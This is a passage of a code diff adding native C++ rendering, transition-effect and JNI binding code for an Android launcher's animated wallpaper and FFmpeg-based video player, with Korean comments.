+                    uint8_t b = (src[2] * alpha + db * (255 - alpha)) / 255;
+
+                    *dst = (0xFF << 24) | (b << 16) | (g << 8) | r;
+                }
+            }
+        }
+    }
+
+    ANativeWindow_unlockAndPost(window);
+}
+
+// ====================================================================
+// 하위 그리기 함수 및 헬퍼 함수들
+// ====================================================================
+void Renderer::drawMedia(ANativeWindow_Buffer& buffer, MediaAsset& media, float alpha, float finalOffsetX, float finalOffsetY, float finalScale) {
+    if (!media.isValid() || alpha <= 0.0f) return;
+    if (media.getType() == MediaAsset::Type::IMAGE) {
+        renderImageFrame(media, buffer, finalScale, finalOffsetX, finalOffsetY, alpha);
+    } else {
+        renderVideoFrame(media, buffer, finalScale, finalOffsetX, finalOffsetY, alpha);
+    }
+}
+
+void Renderer::renderImageFrame(const MediaAsset& media, ANativeWindow_Buffer& buffer, float scale, float offsetX, float offsetY, float alpha) {
+    uint32_t* dstPixels = (uint32_t*)buffer.bits;
+    int dstStride = buffer.stride;
+    const uint8_t* pixelData = media.getType() == MediaAsset::Type::IMAGE ? media.getImageData() : media.getRgbBuffer().data();
+    if (!pixelData) return;
+
+    int imgW = media.getWidth();
+    int imgH = media.getHeight();
+    uint8_t alphaByte = static_cast<uint8_t>(alpha * 255.0f);
+
+    for (int y = 0; y < buffer.height; ++y) {
+        int srcY = static_cast<int>((y - offsetY) / scale);
+        if (srcY < 0 || srcY >= imgH) continue;
+        uint32_t* dstRow = dstPixels + y * dstStride;
+        for (int x = 0; x < buffer.width; ++x) {
+            int srcX = static_cast<int>((x - offsetX) / scale);
+            if (srcX < 0 || srcX >= imgW) continue;
+            const uint8_t* srcPixel = &pixelData[(srcY * imgW + srcX) * 4];
+            uint32_t dstPixelValue = dstRow[x];
+            uint8_t dstB = (dstPixelValue >> 0) & 0xFF;
+            uint8_t dstG = (dstPixelValue >> 8) & 0xFF;
+            uint8_t dstR = (dstPixelValue >> 16) & 0xFF;
+            uint8_t finalR = (srcPixel[0] * alphaByte + dstR * (255 - alphaByte)) / 255;
+            uint8_t finalG = (srcPixel[1] * alphaByte + dstG * (255 - alphaByte)) / 255;
+            uint8_t finalB = (srcPixel[2] * alphaByte + dstB * (255 - alphaByte)) / 255;
+            dstRow[x] = (0xFF << 24) | (finalR << 16) | (finalG << 8) | finalB;
+        }
+    }
+}
+
+void Renderer::renderVideoFrame(MediaAsset& media, ANativeWindow_Buffer& buffer, float scale, float offsetX, float offsetY, float alpha) {
+    AVFormatContext* fmt_ctx = media.getFormatContext();
+    AVCodecContext* codec_ctx = media.getCodecContext();
+    AVFrame* frame = media.getFrame();
+    AVPacket* pkt = media.getPacket();
+    SwsContext* sws_ctx = media.getSwsContext();
+    int video_stream_idx = media.getVideoStreamIndex();
+
+    if (!fmt_ctx || !codec_ctx || !frame || !pkt || !sws_ctx) return;
+
+    int ret = av_read_frame(fmt_ctx, pkt);
+    if (ret >= 0) {
+        if (pkt->stream_index == video_stream_idx) {
+            if (avcodec_send_packet(codec_ctx, pkt) >= 0) {
+                if (avcodec_receive_frame(codec_ctx, frame) == 0) {
+                    std::vector<uint8_t>& rgbBuf = media.getRgbBuffer();
+                    uint8_t* dst[4] = { rgbBuf.data(), nullptr, nullptr, nullptr };
+                    int dstStride_arr[4] = { media.getWidth() * 4, 0, 0, 0 };
+                    sws_scale(sws_ctx, frame->data, frame->linesize, 0, media.getHeight(), dst, dstStride_arr);
+                }
+            }
+        }
+        av_packet_unref(pkt);
+    } else if (ret == AVERROR_EOF) {
+        av_seek_frame(fmt_ctx, video_stream_idx, 0, AVSEEK_FLAG_BACKWARD);
+    }
+
+    renderImageFrame(media, buffer, scale, offsetX, offsetY, alpha);
+}
+
+void Renderer::calculateFitScaleAndOffset(const MediaAsset& media, int surfaceWidth, int surfaceHeight, float& outScale, float& outOffsetX, float& outOffsetY) const {
+    if (!media.isValid() || media.getWidth() == 0 || media.getHeight() == 0) {
+        outScale = 1.0f; outOffsetX = 0.0f; outOffsetY = 0.0f;
+        return;
+    }
+    float mediaAspect = static_cast<float>(media.getWidth()) / media.getHeight();
+    float surfaceAspect = static_cast<float>(surfaceWidth) / surfaceHeight;
+    if (mediaAspect > surfaceAspect) {
+        outScale = static_cast<float>(surfaceHeight) / media.getHeight();
+        outOffsetX = (static_cast<float>(surfaceWidth) - (media.getWidth() * outScale)) / 2.0f;
+        outOffsetY = 0.0f;
+    } else {
+        outScale = static_cast<float>(surfaceWidth) / media.getWidth();
+        outOffsetX = 0.0f;
+        outOffsetY = (static_cast<float>(surfaceHeight) - (media.getHeight() * outScale)) / 2.0f;
+    }
+}
+
+/**
+ * @brief 현재 렌더러의 내부 상태를 문자열로 반환합니다. (디버깅용)
+ */
+std::string Renderer::getDebugInfo() const {
+    std::stringstream ss;
+    ss << "========== Native State ==========\n";
+    ss << " Configured Anim: " << static_cast<int>(configuredAnimationMode_) << "\n";
+    ss << " Active Anim    : " << static_cast<int>(activeAnimationMode_) << "\n";
+    ss << " Configured Trans: " << static_cast<int>(configuredTransitionMode_) << "\n";
+    ss << " In CurrentState: " << static_cast<int>(currentState_) << "\n";
+
+    if (currentMedia_.isValid()) {
+        ss << " Current Media: VALID ["
+           << (currentMedia_.getType() == MediaAsset::Type::IMAGE ? "Image" : "Video")
+           << " " << currentMedia_.getWidth() << "x" << currentMedia_.getHeight() << "]\n";
+    } else {
+        ss << " Current Media: INVALID\n";
+    }
+
+    if (nextMedia_.isValid()) {
+        ss << " Next Media   : VALID ["
+           << (nextMedia_.getType() == MediaAsset::Type::IMAGE ? "Image" : "Video")
+           << " " << nextMedia_.getWidth() << "x" << nextMedia_.getHeight() << "]";
+    } else {
+        ss << " Next Media   : INVALID";
+    }
+    return ss.str();
+}

app/src/main/cpp/Renderer.h

@@ -0,0 +1,108 @@
+#pragma once
+
+#include "AnimationStrategy.h"
+#include "TransitionStrategy.h"
+#include "Preloader.h"
+#include <string>
+#include <sstream>
+#include <iomanip>
+#include <chrono>
+#include <mutex>
+#include <random>
+#include <memory>
+#include <android/native_window.h>
+#include <android/native_window_jni.h>
+
+class Renderer {
+public:
+    enum class AnimationMode {
+        PAN = 0, ZOOM = 1, NONE = 2, RANDOM = 3,
+        PAN_ONE_WAY = 4, PAGE_TURN = 5
+    };
+    enum class TransitionMode {
+        FADE = 0, SLIDE = 1, RANDOM = 2, MOSAIC = 3
+    };
+
+    Renderer();
+    ~Renderer();
+
+    void setNextMedia(int fd);
+    void renderFrame(ANativeWindow* window);
+    void release();
+    std::string getDebugInfo() const;
+
+    void startRenderLoop(ANativeWindow* window);
+    void stopRenderLoop();
+    bool forceNextFlag_ = false;
+
+// 공개 메서드 추가
+    void forceNext() { forceNextFlag_ = true; }
+    void setAnimationSpeed(float speed);
+    void setAnimationMode(int mode);
+    void setFadeDuration(int durationMs);
+    void setPageTurnDelay(int delayMs);
+    void setTransitionMode(int mode);
+    void setImageRenderFrame(int frame);
+    void updateWeatherBitmap(void* pixels, int width, int height);
+    void clearWeatherBitmap();
+    void drawMedia(ANativeWindow_Buffer& buffer, MediaAsset& media, float alpha, float finalOffsetX, float finalOffsetY, float finalScale);
+    void renderVideoFrame(MediaAsset& media, ANativeWindow_Buffer& buffer, float scale, float offsetX, float offsetY, float alpha);
+    void renderImageFrame(const MediaAsset& media, ANativeWindow_Buffer& buffer, float scale, float offsetX, float offsetY, float alpha);
+    void calculateFitScaleAndOffset(const MediaAsset& media, int surfaceWidth, int surfaceHeight,
+                                    float& outScale, float& outOffsetX, float& outOffsetY) const;
+
+private:
+
+    std::thread renderThread_;
+    std::atomic<bool> isRunning_{false};
+    ANativeWindow* nativeWindow_ = nullptr;
+
+    enum class RenderState { ANIMATING, TRANSITIONING };
+    RenderState currentState_ = RenderState::ANIMATING;
+
+    void handleAnimationState(ANativeWindow_Buffer& buffer, int surfaceWidth, int surfaceHeight);
+    void handleTransitionState(ANativeWindow_Buffer& buffer, int surfaceWidth, int surfaceHeight);
+
+    std::mutex renderMutex_;
+    Preloader preloader_;
+    MediaAsset currentMedia_;
+    MediaAsset nextMedia_;
+
+    std::unique_ptr<AnimationStrategy> animationStrategy_;
+    AnimationMode predictedNextAnimationMode_;
+    std::unique_ptr<TransitionStrategy> transitionStrategy_;
+    AnimationState lastAnimationState_;
+
+    AnimationMode configuredAnimationMode_ = AnimationMode::PAN;
+    TransitionMode configuredTransitionMode_ = TransitionMode::FADE;
+    AnimationMode activeAnimationMode_ = AnimationMode::PAN;
+    long long fadeDurationMs_ = 3000;
+    long long pageTurnDelayMs_ = 5000;
+    float animationSpeed_ = 1.0f;
+    // --- ⬇️ 목표 프레임 딜레이 변수 추가 ⬇️ ---
+    std::chrono::milliseconds currentFrameDelay_{33}; // 기본값 33ms (약 30fps)
+
+    AnimationState getStartStateForMode(AnimationMode mode, int surfaceWidth, int surfaceHeight);
+    AnimationMode predictNextAnimationMode();
+
+    std::chrono::steady_clock::time_point transitionStartTime_;
+    std::mt19937 randomEngine_;
+
+    void determineActiveAnimationMode();
+
+
+    std::vector<uint8_t> weatherPixels_;
+    int weatherWidth_ = 0;
+    int weatherHeight_ = 0;
+    int imageFrame_ = 33;
+    // 위치 변수
+    float weatherX_ = 100.0f;
+    float weatherY_ = 100.0f;
+
+    // 속도 변수 (방향 및 속도 조절)
+    float weatherVelX_ = 2.5f;
+    float weatherVelY_ = 2.0f;
+
+    std::mutex weatherMutex_;
+
+};

app/src/main/cpp/TransitionStrategy.cpp

@@ -0,0 +1,141 @@
+#include "TransitionStrategy.h"
+#include "Renderer.h"
+#include <algorithm>
+#include <vector>
+#include <numeric>
+#include <random>
+
+// ====================================================================
+// --- 페이드 전환 효과 ---
+// ====================================================================
+class FadeTransition : public TransitionStrategy {
+public:
+    FadeTransition(long long duration) : TransitionStrategy(duration) {}
+    void reset() override {}
+    bool isComplete(long long elapsedMs) const override { return elapsedMs >= durationMs_; }
+
+    bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer,
+                 MediaAsset& source, const AnimationState& sourceEnd,
+                 MediaAsset& dest, const AnimationState& destStart,
+                 long long elapsedMs) override {
+
+        float progress = std::clamp((float)elapsedMs / durationMs_, 0.0f, 1.0f);
+
+        // source는 전달받은 마지막 상태(sourceEnd) 그대로 페이드 아웃
+        renderer->drawMedia(buffer, source, 1.0f - progress, sourceEnd.offsetX, sourceEnd.offsetY, sourceEnd.scale);
+        // dest는 전달받은 시작 상태(destStart) 그대로 페이드 인
+        renderer->drawMedia(buffer, dest, progress, destStart.offsetX, destStart.offsetY, destStart.scale);
+
+        return isComplete(elapsedMs);
+    }
+};
+
+// --- ⬇️ 슬라이드 전환 효과 (수정) ⬇️ ---
+class SlideTransition : public TransitionStrategy {
+public:
+    SlideTransition(long long duration, int surfaceWidth)
+            : TransitionStrategy(duration), surfaceWidth_(surfaceWidth) {}
+    void reset() override {}
+    bool isComplete(long long elapsedMs) const override { return elapsedMs >= durationMs_; }
+
+    bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer,
+                 MediaAsset& source, const AnimationState& sourceEnd,
+                 MediaAsset& dest, const AnimationState& destStart,
+                 long long elapsedMs) override {
+
+        float progress = std::clamp((float)elapsedMs / durationMs_, 0.0f, 1.0f);
+        float easeProgress = progress * progress * (3.0f - 2.0f * progress);
+
+        float sourceSlideX = -surfaceWidth_ * easeProgress;
+        float destSlideX = surfaceWidth_ * (1.0f - easeProgress);
+
+        // source는 마지막 위치(sourceEnd)에서 왼쪽으로 슬라이드 아웃
+        renderer->drawMedia(buffer, source, 1.0f, sourceEnd.offsetX + sourceSlideX, sourceEnd.offsetY, sourceEnd.scale);
+        // dest는 자신의 시작 위치(destStart) 오른쪽 밖에서 중앙으로 슬라이드 인
+        renderer->drawMedia(buffer, dest, 1.0f, destStart.offsetX + destSlideX, destStart.offsetY, destStart.scale);
+
+        return isComplete(elapsedMs);
+    }
+private:
+    int surfaceWidth_;
+};
+
+// ====================================================================
+// --- 모자이크 전환 효과 ---
+// ====================================================================
+class MosaicTransition : public TransitionStrategy {
+public:
+    MosaicTransition(long long duration, int tilesX, int tilesY, std::mt19937& randomEngine)
+            : TransitionStrategy(duration), tilesX_(tilesX), tilesY_(tilesY), randomEngine_(randomEngine) {
+        reset();
+    }
+
+    void reset() override {
+        int totalTiles = tilesX_ * tilesY_;
+        tileOrder_.resize(totalTiles);
+        std::iota(tileOrder_.begin(), tileOrder_.end(), 0);
+        std::shuffle(tileOrder_.begin(), tileOrder_.end(), randomEngine_);
+        revealOrder_.resize(totalTiles);
+        for(size_t i = 0; i < tileOrder_.size(); ++i) {
+            revealOrder_[tileOrder_[i]] = i;
+        }
+    }
+
+    bool isComplete(long long elapsedMs) const override {
+        return elapsedMs >= durationMs_;
+    }
+
+    bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer,
+                 MediaAsset& source, const AnimationState& sourceEnd,
+                 MediaAsset& dest, const AnimationState& destStart,
+                 long long elapsedMs) override {
+
+        float progress = std::clamp((float)elapsedMs / durationMs_, 0.0f, 1.0f);
+        int totalTiles = tilesX_ * tilesY_;
+        int tilesToReveal = static_cast<int>(progress * totalTiles);
+
+        const uint8_t* srcPixelData = source.getType() == MediaAsset::Type::IMAGE ? source.getImageData() : source.getRgbBuffer().data();
+        const uint8_t* destPixelData = dest.getType() == MediaAsset::Type::IMAGE ? dest.getImageData() : dest.getRgbBuffer().data();
+        if (!srcPixelData || !destPixelData) return isComplete(elapsedMs);
+
+        uint32_t* dstPixels = (uint32_t*)buffer.bits;
+        int dstStride = buffer.stride;
+        float tileWidth = (float)buffer.width / tilesX_;
+        float tileHeight = (float)buffer.height / tilesY_;
+
+        for (int y = 0; y < buffer.height; ++y) {
+            uint32_t* dstRow = dstPixels + y * dstStride;
+            for (int x = 0; x < buffer.width; ++x) {
+                int tileX = static_cast<int>(x / tileWidth);
+                int tileY = static_cast<int>(y / tileHeight);
+                int tileIndex = tileY * tilesX_ + tileX;
+                int rank = revealOrder_[tileIndex];
+
+                const uint8_t* finalPixelData;
+                if (rank < tilesToReveal) {
+                    // --- ⬇️ 수정된 부분: (x - offsetX) 공식 적용 ⬇️ ---
+                    int srcX = static_cast<int>((x - destStart.offsetX) / destStart.scale);
+                    int srcY = static_cast<int>((y - destStart.offsetY) / destStart.scale);
+                    if (srcX >= 0 && srcX < dest.getWidth() && srcY >= 0 && srcY < dest.getHeight()) {
+                        finalPixelData = &destPixelData[(srcY * dest.getWidth() + srcX) * 4];
+                    } else { continue; }
+                } else {
+                    // --- ⬇️ 수정된 부분: (x - offsetX) 공식 적용 ⬇️ ---
+                    int srcX = static_cast<int>((x - sourceEnd.offsetX) / sourceEnd.scale);
+                    int srcY = static_cast<int>((y - sourceEnd.offsetY) / sourceEnd.scale);
+                    if (srcX >= 0 && srcX < source.getWidth() && srcY >= 0 && srcY < source.getHeight()) {
+                        finalPixelData = &srcPixelData[(srcY * source.getWidth() + srcX) * 4];
+                    } else { continue; }
+                }
+                dstRow[x] = (0xFF << 24) | (finalPixelData[0] << 16) | (finalPixelData[1] << 8) | finalPixelData[2];
+            }
+        }
+        return isComplete(elapsedMs);
+    }
+
+private:
+    int tilesX_, tilesY_;
+    std::vector<int> tileOrder_;
+    std::vector<int> revealOrder_;
+    std::mt19937& randomEngine_;
+};

app/src/main/cpp/TransitionStrategy.h

@@ -0,0 +1,39 @@
+#pragma once
+#include <android/native_window.h>
+#include "MediaAsset.h"
+#include "AnimationStrategy.h" // AnimationState를 사용하기 위해 포함
+
+class Renderer; // 전방 선언
+
+/**
+ * @brief 모든 전환 효과 전문가(Strategy) 클래스의 기반이 되는 인터페이스입니다.
+ */
+class TransitionStrategy {
+public:
+    virtual ~TransitionStrategy() = default;
+
+    // --- ⬇️ 두 함수로 역할을 분리 ⬇️ ---
+    /**
+     * @brief 전환이 완료되었는지 확인합니다.
+     * @param elapsedMs 전환 시작 후 경과 시간
+     * @return 완료되었으면 true
+     */
+    virtual bool isComplete(long long elapsedMs) const = 0;
+
+    /**
+     * @brief 전환 효과를 직접 렌더링 버퍼에 그립니다.
+     * @param sourceEnd 사라지는 미디어의 최종 애니메이션 상태
+     * @param destStart 나타나는 미디어의 시작 애니메이션 상태
+     * @return 전환이 완료되었으면 true를 반환합니다.
+     */
+    virtual bool execute(Renderer* renderer, ANativeWindow_Buffer& buffer,
+                         MediaAsset& source, const AnimationState& sourceEnd,
+                         MediaAsset& dest, const AnimationState& destStart,
+                         long long elapsedMs) = 0;
+
+    virtual void reset() = 0;
+
+protected:
+    TransitionStrategy(long long duration) : durationMs_(duration) {}
+    long long durationMs_;
+};

app/src/main/cpp/ffmpeg_wrapper.h

@@ -0,0 +1,15 @@
+#pragma once
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <libavformat/avformat.h>
+#include <libavcodec/avcodec.h>
+#include <libswscale/swscale.h>
+#include <libswresample/swresample.h>
+#include <libavfilter/avfilter.h>
+
+#ifdef __cplusplus
+}
+#endif

app/src/main/cpp/native_player.cpp

@@ -0,0 +1,103 @@
+#include <jni.h>
+#include <android/native_window_jni.h>
+#include "PlayerEngine.h"
+
+extern JavaVM* g_vm;
+
+template<typename T>
+T* toPlayerNative(jlong handle) { return reinterpret_cast<T*>(handle); }
+
+extern "C" {
+
+JNIEXPORT jdouble JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeGetDuration(JNIEnv *env, jobject thiz, jlong handle) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    return engine ? engine->getDuration() : 0.0;
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeSeekTo(JNIEnv *env, jobject thiz, jlong handle, jdouble seconds) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine) engine->seekTo(seconds);
+}
+
+JNIEXPORT jlong JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeInit(JNIEnv *env, jobject thiz) {
+    PlayerEngine* engine = new PlayerEngine(g_vm, thiz);
+    return reinterpret_cast<jlong>(engine);
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeSeekBy(JNIEnv *env, jobject thiz, jlong handle, jdouble seconds) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine) engine->seekBy(seconds);
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeSetSpeed(JNIEnv *env, jobject thiz, jlong handle, jfloat speed) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine) engine->setSpeed(speed);
+}
+
+JNIEXPORT jdouble JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeGetCurrentPosition(JNIEnv *env, jobject thiz, jlong handle) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    return engine ? engine->getCurrentPosition() : 0.0;
+}
+
+JNIEXPORT jstring JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeGetSubtitleTracks(JNIEnv *env, jobject thiz, jlong handle) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    std::string tracks = engine ? engine->getSubtitleTracks() : "";
+    return env->NewStringUTF(tracks.c_str());
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeSetSubtitleTrack(JNIEnv *env, jobject thiz, jlong handle, jint index) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine) engine->setSubtitleTrack(index);
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeSetDataSource(JNIEnv *env, jobject thiz, jlong handle, jint videoFd, jint jSubFd) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine) engine->setDataSource(videoFd, jSubFd);
+}
+
+// 💡 추가된 비동기 준비
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativePrepareAsync(JNIEnv *env, jobject thiz, jlong handle) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine) engine->prepareAsync();
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativePause(JNIEnv *env, jobject thiz, jlong handle) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine) engine->pause();
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativePlay(JNIEnv *env, jobject thiz, jlong handle, jobject surface) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine && surface) {
+        ANativeWindow* window = ANativeWindow_fromSurface(env, surface);
+        ANativeWindow_setBuffersGeometry(window, 0, 0, WINDOW_FORMAT_RGBX_8888);
+        engine->play(window);
+        ANativeWindow_release(window);
+    }
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeStop(JNIEnv *env, jobject thiz, jlong handle) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine) engine->stop();
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_player_NativePlayer_nativeDestroy(JNIEnv *env, jobject thiz, jlong handle) {
+    PlayerEngine* engine = toPlayerNative<PlayerEngine>(handle);
+    if (engine) delete engine;
+}
+
+}

app/src/main/cpp/native_renderer.cpp

@@ -0,0 +1,236 @@
+#include <jni.h>
+#include <android/native_window.h>
+#include <android/native_window_jni.h>
+#include <android/log.h>
+#include <thread>
+#include "Renderer.h"
+#include "Preloader.h"
+#include <android/bitmap.h>
+#define LOG_TAG "NativeRenderer"
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+// --- ⬇️ 전역 렌더러, 프리로더 포인터 삭제! ⬇️ ---
+// Renderer* renderer = nullptr;
+// Preloader* preloader = nullptr;
+
+// JavaVM과 콜백 관련 전역 변수는 앱 프로세스 전체에서 유일하므로 유지합니다.
+JavaVM* g_vm = nullptr;
+jobject g_callback_obj = nullptr;
+jmethodID g_callback_method_id = nullptr;
+
+// JNI_OnLoad, callNextMediaCallback 함수는 기존과 동일
+JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved) {
+    g_vm = vm;
+    return JNI_VERSION_1_6;
+}
+void callNextMediaCallback() {
+    JNIEnv* env;
+    bool isAttached = false;
+    // 현재 스레드가 JVM에 연결되어 있지 않다면 연결
+    if (g_vm->GetEnv((void**)&env, JNI_VERSION_1_6) != JNI_OK) {
+        if (g_vm->AttachCurrentThread(&env, nullptr) != JNI_OK) {
+            LOGE("Failed to attach current thread to JVM");
+            return;
+        }
+        isAttached = true;
+    }
+
+    if (g_callback_obj && g_callback_method_id) {
+        env->CallVoidMethod(g_callback_obj, g_callback_method_id);
+    }
+
+    // 이전에 연결되지 않았다면 연결 해제
+    if (isAttached) {
+        g_vm->DetachCurrentThread();
+    }
+}
+
+// C++ 객체 포인터를 jlong으로, jlong을 C++ 객체 포인터로 안전하게 변환하는 헬퍼 함수
+template<typename T>
+T* toNative(jlong handle) {
+    return reinterpret_cast<T*>(handle);
+}
+
+extern "C" {
+
+// [수정] jboolean -> jlong. Renderer 객체를 생성하고 그 주소(핸들)를 반환
+JNIEXPORT jlong JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeInit(JNIEnv* env, jobject) {
+    // Preloader는 Renderer가 내부적으로 소유하도록 변경하는 것이 더 좋습니다.
+    // 여기서는 간단하게 Renderer만 생성하여 핸들링합니다.
+    Renderer* renderer = new Renderer();
+    LOGI("Native renderer instance created at address: %p", renderer);
+    return reinterpret_cast<jlong>(renderer);
+}
+
+// [수정] 핸들을 파라미터로 받아 해당 객체를 파괴
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeDestroy(JNIEnv* env, jobject, jlong nativeHandle) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        LOGI("Destroying native renderer instance at address: %p", renderer);
+        delete renderer;
+    }
+}
+
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeStopRenderLoop(JNIEnv* env, jobject, jlong nativeHandle) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        renderer->stopRenderLoop();
+    }
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeStartRenderLoop(JNIEnv* env, jobject, jlong nativeHandle, jobject surface) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (!renderer || !surface) return;
+
+    ANativeWindow* window = ANativeWindow_fromSurface(env, surface);
+    if (!window) {
+        LOGE("Could not get ANativeWindow from Surface.");
+        return;
+    }
+    ANativeWindow_setBuffersGeometry(window, 0, 0, WINDOW_FORMAT_RGBX_8888);
+    renderer->startRenderLoop(window);
+    ANativeWindow_release(window);
+}
+
+
+// [수정] 모든 함수가 nativeHandle을 첫 파라미터로 받도록 변경
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeRender(JNIEnv* env, jobject, jlong nativeHandle, jobject surface) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (!renderer || !surface) return;
+
+    ANativeWindow* window = ANativeWindow_fromSurface(env, surface);
+    if (!window) {
+        LOGE("Could not get ANativeWindow from Surface.");
+        return;
+    }
+    renderer->renderFrame(window);
+    ANativeWindow_release(window);
+}
+
+extern "C"
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeForceNext(JNIEnv* env, jobject, jlong nativeHandle) {
+    Renderer* renderer = reinterpret_cast<Renderer*>(nativeHandle);
+    if (renderer) {
+        renderer->forceNext(); // Renderer에 추가할 함수 호출
+    }
+}
+
+extern "C"
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeSetWeatherBitmap(JNIEnv* env, jobject, jlong nativeHandle, jobject bitmap) {
+    Renderer* renderer = reinterpret_cast<Renderer*>(nativeHandle);
+    if (!renderer) return;
+
+    // 비트맵이 null로 넘어오면 데이터를 지움
+    if (bitmap == nullptr) {
+        renderer->clearWeatherBitmap();
+        return;
+    }
+
+    AndroidBitmapInfo info;
+    void* pixels;
+    if (AndroidBitmap_getInfo(env, bitmap, &info) < 0) return;
+    if (AndroidBitmap_lockPixels(env, bitmap, &pixels) < 0) return;
+
+    renderer->updateWeatherBitmap(pixels, info.width, info.height);
+
+    AndroidBitmap_unlockPixels(env, bitmap);
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeStartNextPreload(JNIEnv* env, jobject, jlong nativeHandle, jint fd) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        // Preloader가 Renderer의 일부가 되었다고 가정하고 호출 (추후 Renderer 수정 필요)
+        // 여기서는 간단하게 setNextMedia를 호출하는 것으로 변경합니다.
+        renderer->setNextMedia(fd);
+    }
+}
+
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeSetImageRenderFrame(JNIEnv* env, jobject, jlong nativeHandle, jint frame) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        // Preloader가 Renderer의 일부가 되었다고 가정하고 호출 (추후 Renderer 수정 필요)
+        // 여기서는 간단하게 setNextMedia를 호출하는 것으로 변경합니다.
+        renderer->setImageRenderFrame(frame);
+    }
+}
+
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeSetAnimationSpeed(JNIEnv* env, jobject, jlong nativeHandle, jfloat speed) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        renderer->setAnimationSpeed(speed);
+    }
+}
+
+// --- ⬇️ 새로 추가할 JNI 함수들 ⬇️ ---
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeSetAnimationMode(JNIEnv* env, jobject, jlong nativeHandle, jint mode) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        renderer->setAnimationMode(mode);
+    }
+}
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeSetTransitionMode(JNIEnv* env, jobject, jlong nativeHandle, jint mode) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        renderer->setTransitionMode(mode);
+    }
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeSetFadeDuration(JNIEnv* env, jobject, jlong nativeHandle, jint duration) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        renderer->setFadeDuration(duration);
+    }
+}
+
+JNIEXPORT void JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeSetPageTurnDelay(JNIEnv* env, jobject, jlong nativeHandle, jint duration) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        renderer->setPageTurnDelay(duration);
+    }
+}
+
+JNIEXPORT jstring JNICALL
+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeGetDebugInfo(JNIEnv* env, jobject, jlong nativeHandle) {
+    Renderer* renderer = toNative<Renderer>(nativeHandle);
+    if (renderer) {
+        std::string debugInfo = renderer->getDebugInfo();
+        return env->NewStringUTF(debugInfo.c_str());
+    }
+    return env->NewStringUTF("Renderer handle is invalid or null.");
+}
+
+
+// --- 참고: nativeSetNextMediaCallback은 전역이라 일단 그대로 둡니다 ---
+JNIEXPORT void JNICALL
